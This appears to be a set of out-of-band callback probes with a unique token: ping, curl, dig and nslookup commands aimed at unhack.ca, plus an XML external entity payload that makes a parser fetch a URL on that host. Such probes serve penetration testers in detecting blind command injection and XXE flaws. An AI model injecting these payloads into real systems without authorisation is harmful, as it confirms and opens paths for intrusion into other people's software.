$ ping -c1 -p 00836b4180f85a48eaa0f42494702900 unhack.ca
 

$ curl http://unhack.ca/p/836b4180f85a48eaa0f424947029
 

$ dig 836b4180f85a48eaa0f424947029 @unhack.ca
 

$ dig 836b4180f85a48eaa0f424947029.ns.unhack.ca
 

C:\> nslookup 836b4180f85a48eaa0f424947029 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/836b4180f85a48eaa0f424947029">]>
    <foo>&xxe;</foo>